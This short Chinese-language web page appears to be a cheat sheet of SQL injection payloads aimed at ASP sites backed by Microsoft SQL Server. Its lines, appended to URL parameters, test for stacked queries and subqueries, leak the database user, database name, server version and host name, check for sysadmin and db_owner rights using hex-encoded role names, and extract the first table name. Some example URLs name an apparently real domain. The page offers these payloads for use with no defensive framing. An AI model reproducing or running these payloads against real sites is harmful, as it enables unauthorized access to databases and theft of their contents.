SQL注入常用语句

    技术2022-05-11  118

    是否支持多句查询http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int--

    是否支持子查询http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0

    返回用户名http://www.xxx.com/xxxnews/shownews.asp?id=51 And user+char(124)=0

    当前用户是否为 sysadmin 固定服务器角色的成员。http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1

    PS:0x730079007300610064006D0069006E00 = sysadmin

    当前用户是否为 db_owner 固定数据库角色的成员http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1

    0x640062005F006F0077006E0065007200 = db_owner

    返回数据库名http://www.xxx.com/xxxnews/shownews.asp?id=51 And db_name()+char(124)=0

    操作系统和SQLserver版本http://www.99568.com/99568news/shownews.asp?id=51 And @@version = 1

    本地服务器名称http://www.99568.com/99568news/shownews.asp?id=51 And @@SERVERNAME = 1http://www.xxx.com.cn/newhomelink/site/News/Content.asp?NewsID=1077  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名

     

    最新回复(0)